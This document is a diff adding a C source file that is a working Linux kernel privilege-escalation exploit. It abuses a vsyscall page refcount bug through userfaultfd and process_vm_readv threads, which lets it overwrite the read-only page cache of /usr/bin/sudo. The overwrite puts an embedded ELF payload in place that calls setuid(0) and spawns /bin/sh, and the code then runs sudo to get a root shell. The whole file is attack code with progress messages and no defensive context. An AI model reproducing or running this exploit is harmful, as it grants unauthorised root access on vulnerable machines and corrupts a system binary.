| | 1 | + | #define _GNU_SOURCE |
| | 2 | + | #include <fcntl.h> |
| | 3 | + | #include <stdio.h> |
| | 4 | + | #include <stdlib.h> |
| | 5 | + | #include <sys/syscall.h> |
| | 6 | + | #include <unistd.h> |
| | 7 | + | #include <sys/types.h> |
| | 8 | + | #include <signal.h> |
| | 9 | + | #include <sys/ucontext.h> |
| | 10 | + | #include <errno.h> |
| | 11 | + | #include <err.h> |
| | 12 | + | #include <sys/uio.h> |
| | 13 | + | #include <poll.h> |
| | 14 | + | #include <pthread.h> |
| | 15 | + | #include <unistd.h> |
| | 16 | + | #include <sys/ioctl.h> |
| | 17 | + | #include <sys/mman.h> |
| | 18 | + | #include <linux/userfaultfd.h> |
| | 19 | + | #include <string.h> |
| | 20 | + | |
| | 21 | + | #define PAGESIZE 4096 |
| | 22 | + | |
| | 23 | + | // small elf file that can execute setuid(0); execve("/bin/sh",0,0); |
| | 24 | + | // setuid binary will be overwrite with this |
| | 25 | + | char * payload = "\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x3e\x00\x01\x00\x00\x00\x78\x80\x04\x08\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08\x00\x00\x00\x00\x00\x80\x04\x08\x00\x00\x00\x00\xa8\x00\x00\x00\x00\x00\x00\x00\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05"; |
| | 26 | + | |
| | 27 | + | void DumpHex(const void * data, size_t size) { |
| | 28 | + | char ascii[17]; |
| | 29 | + | size_t i, j; |
| | 30 | + | ascii[16] = '\0'; |
| | 31 | + | for (i = 0; i < size; ++i) { |
| | 32 | + | printf("%02X ", ((unsigned char * ) data)[i]); |
| | 33 | + | if (((unsigned char * ) data)[i] >= ' ' && ((unsigned char * ) data)[i] <= '~') { |
| | 34 | + | ascii[i % 16] = ((unsigned char * ) data)[i]; |
| | 35 | + | } else { |
| | 36 | + | ascii[i % 16] = '.'; |
| | 37 | + | } |
| | 38 | + | if ((i + 1) % 8 == 0 || i + 1 == size) { |
| | 39 | + | printf(" "); |
| | 40 | + | if ((i + 1) % 16 == 0) { |
| | 41 | + | printf("| %s \n", ascii); |
| | 42 | + | } else if (i + 1 == size) { |
| | 43 | + | ascii[(i + 1) % 16] = '\0'; |
| | 44 | + | if ((i + 1) % 16 <= 8) { |
| | 45 | + | printf(" "); |
| | 46 | + | } |
| | 47 | + | for (j = (i + 1) % 16; j < 16; ++j) { |
| | 48 | + | printf(" "); |
| | 49 | + | } |
| | 50 | + | printf("| %s \n", ascii); |
| | 51 | + | } |
| | 52 | + | } |
| | 53 | + | } |
| | 54 | + | } |
| | 55 | + | |
| | 56 | + | int pid = 0; |
| | 57 | + | int userfaultfd(int flags) { |
| | 58 | + | return syscall(323, flags); // userfaultfd |
| | 59 | + | } |
| | 60 | + | |
| | 61 | + | int prepareUFD(void * pages, unsigned long memsize) { |
| | 62 | + | int fd = 0; |
| | 63 | + | if ((fd = userfaultfd(O_NONBLOCK)) == -1) { |
| | 64 | + | fprintf(stderr, "++ userfaultfd failed: %m\n"); |
| | 65 | + | exit(-1); |
| | 66 | + | } |
| | 67 | + | struct uffdio_api api = { |
| | 68 | + | .api = UFFD_API |
| | 69 | + | }; |
| | 70 | + | if (ioctl(fd, UFFDIO_API, & api)) { |
| | 71 | + | fprintf(stderr, "++ ioctl(fd, UFFDIO_API, ...) failed: %m\n"); |
| | 72 | + | exit(-1); |
| | 73 | + | } |
| | 74 | + | if (api.api != UFFD_API) { |
| | 75 | + | fprintf(stderr, "++ unexepcted UFFD api version.\n"); |
| | 76 | + | exit(-1); |
| | 77 | + | } |
| | 78 | + | struct uffdio_register reg = { |
| | 79 | + | .mode = UFFDIO_REGISTER_MODE_MISSING, |
| | 80 | + | .range = { |
| | 81 | + | .start = (long) pages, |
| | 82 | + | .len = memsize |
| | 83 | + | } |
| | 84 | + | }; |
| | 85 | + | if (ioctl(fd, UFFDIO_REGISTER, & reg)) { |
| | 86 | + | fprintf(stderr, "++ ioctl(fd, UFFDIO_REGISTER, ...) failed: %m\n"); |
| | 87 | + | exit(-1); |
| | 88 | + | } |
| | 89 | + | if (reg.ioctls != UFFD_API_RANGE_IOCTLS) { |
| | 90 | + | fprintf(stderr, "++ unexpected UFFD ioctls.\n"); |
| | 91 | + | exit(-1); |
| | 92 | + | } |
| | 93 | + | return fd; |
| | 94 | + | } |
| | 95 | + | |
| | 96 | + | void *process_vm_readv_hack(void * memory) { |
| | 97 | + | struct iovec local, remote; |
| | 98 | + | int ret; |
| | 99 | + | local.iov_base = memory; |
| | 100 | + | local.iov_len = 4096; |
| | 101 | + | remote.iov_base = (void * ) 0xffffffffff600000; |
| | 102 | + | remote.iov_len = 4096; |
| | 103 | + | ret = process_vm_readv(pid, & local, 1, & remote, 1, 0); |
| | 104 | + | } |
| | 105 | + | |
| | 106 | + | int add_refcount_with(int n) { |
| | 107 | + | void* pageufd; |
| | 108 | + | pthread_t thread[2048] = {}; |
| | 109 | + | int i; |
| | 110 | + | if ((pageufd = mmap(NULL, PAGESIZE, PROT_READ | PROT_WRITE, |
| | 111 | + | MAP_PRIVATE | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) { |
| | 112 | + | fprintf(stderr, "++ mmap failed: %m\n"); |
| | 113 | + | return -1; |
| | 114 | + | } |
| | 115 | + | printf("create page%d=%p\n", i, pageufd); |
| | 116 | + | prepareUFD(pageufd, 0x1000); |
| | 117 | + | for (i = 0; i < n; i++) { |
| | 118 | + | // printf("creating thread%d, alloc mem=%p\n", i, pageufd); |
| | 119 | + | if (pthread_create(&thread[i], NULL, process_vm_readv_hack, pageufd)) { |
| | 120 | + | fprintf(stderr, "++ pthread_create failed: %m\n"); |
| | 121 | + | return -1; |
| | 122 | + | } |
| | 123 | + | } |
| | 124 | + | } |
| | 125 | + | |
| | 126 | + | int exploit() { |
| | 127 | + | char buf[4096]; |
| | 128 | + | void * pageufd; |
| | 129 | + | void * pages[1024]; |
| | 130 | + | void * pages2[10000]; |
| | 131 | + | int fds[1024]; |
| | 132 | + | int i; |
| | 133 | + | struct iovec local, remote; |
| | 134 | + | int ret; |
| | 135 | + | char dummy[1024]; |
| | 136 | + | pthread_t thread[2048] = {}; |
| | 137 | + | int fdp = open("/usr/bin/sudo", O_RDONLY); |
| | 138 | + | pid = getpid(); |
| | 139 | + | local.iov_base = buf; |
| | 140 | + | local.iov_len = 4096; |
| | 141 | + | remote.iov_base = (void * ) 0xffffffffff600000; |
| | 142 | + | remote.iov_len = 4096; |
| | 143 | + | printf("BUMP vsyscall refcount to 1023\n"); |
| | 144 | + | add_refcount_with(1022); |
| | 145 | + | printf("Done\n"); |
| | 146 | + | printf("Trigerring bug: put back vsyscall page to buddy allocator"); |
| | 147 | + | getchar(); |
| | 148 | + | ret = process_vm_readv(getpid(), & local, 1, & remote, 1, 0); |
| | 149 | + | |
| | 150 | + | int total1 = 0; |
| | 151 | + | printf("Reallocating read write page which make vsyscall point to the this new page..\n"); |
| | 152 | + | for (i = 0; i < 900; i++) { |
| | 153 | + | char namefile[20]; |
| | 154 | + | sprintf(namefile, "file%d", i); |
| | 155 | + | int file_fd = syscall(__NR_memfd_create, namefile, 0); |
| | 156 | + | if (ftruncate(file_fd, PAGESIZE)) err(1, "trunc init"); |
| | 157 | + | if ((pages[i] = mmap(NULL, PAGESIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE, file_fd, 0)) == MAP_FAILED) { |
| | 158 | + | fprintf(stderr, "++ mmap failed: %m\n"); |
| | 159 | + | return -1; |
| | 160 | + | } |
| | 161 | + | printf("create %d page%d=%p\n", file_fd, i, pages[i]); |
| | 162 | + | memset(pages[i], 'A', 0x800); |
| | 163 | + | total1 += 1; |
| | 164 | + | if ( * (char * )(void * )(0xffffffffff600000) == 'A') { |
| | 165 | + | printf("Success! vsyscall page now is A*0x800\n"); |
| | 166 | + | break; |
| | 167 | + | } |
| | 168 | + | } |
| | 169 | + | printf("Now we have vsyscall and %p point to the same physical page\n", pages[total1 - 1]); |
| | 170 | + | printf("DUMP VSYSCALL: "); |
| | 171 | + | DumpHex((void * )(0xffffffffff600000), 16); |
| | 172 | + | printf("BUMP vsyscall refcount to 1023 again!"); |
| | 173 | + | getchar(); |
| | 174 | + | add_refcount_with(1022); |
| | 175 | + | printf("Done"); |
| | 176 | + | getchar(); |
| | 177 | + | printf("Trigerring bug again: put back vsyscall page also %p to buddy allocator\n", pages[0]); |
| | 178 | + | printf("We can still use %p after the page freed\n", pages[0]); |
| | 179 | + | ret = process_vm_readv(getpid(), & local, 1, & remote, 1, 0); |
| | 180 | + | int total2 = 0; |
| | 181 | + | printf("Reallocating read only page from %s\n", "/usr/bin/sudo"); |
| | 182 | + | for (i = 0; i < 900; i++) { |
| | 183 | + | int file_fd; |
| | 184 | + | file_fd = fdp; |
| | 185 | + | if ((pages2[i] = mmap(NULL, PAGESIZE, PROT_READ | PROT_EXEC, MAP_SHARED, file_fd, 0)) == MAP_FAILED) { |
| | 186 | + | fprintf(stderr, "++ mmap failed: %m\n"); |
| | 187 | + | return -1; |
| | 188 | + | } |
| | 189 | + | // printf("create page%d=%p\n", i, pages2[i]); |
| | 190 | + | // memset(pages2[i], 'X', 0x800); |
| | 191 | + | DumpHex(pages2[i], 16); |
| | 192 | + | total2 += 1; |
| | 193 | + | if ( * (char * ) pages[0] != 'A') { |
| | 194 | + | printf("Success!: Page allocated from /usr/bin/sudo to %p\n", pages2[i]); |
| | 195 | + | printf("Success!: %p and %p point to the same physical memory page\n", pages[0], pages2[i]); |
| | 196 | + | printf("We can write %p to overwrite read only page %p\n", pages[0], pages2[i]); |
| | 197 | + | break; |
| | 198 | + | } |
| | 199 | + | } |
| | 200 | + | printf("DUMP pages[0]: "); |
| | 201 | + | DumpHex(pages[i], 16); |
| | 202 | + | if ( * (char * ) pages[0] != '\x7f') { |
| | 203 | + | printf("Failed :(\n"); |
| | 204 | + | return -1; |
| | 205 | + | } |
| | 206 | + | printf("almost done!"); |
| | 207 | + | getchar(); |
| | 208 | + | memcpy(pages[0], payload, 168); |
| | 209 | + | printf("/usr/bin/sudo overwrited!\n"); |
| | 210 | + | printf("Executing sudo!\n"); |
| | 211 | + | system("sudo"); |
| | 212 | + | return 0; |
| | 213 | + | } |
| | 214 | + | |
| | 215 | + | int main(int argc, char ** argv) { |
| | 216 | + | exploit(); |
| | 217 | + | } |
| | 218 | + | |
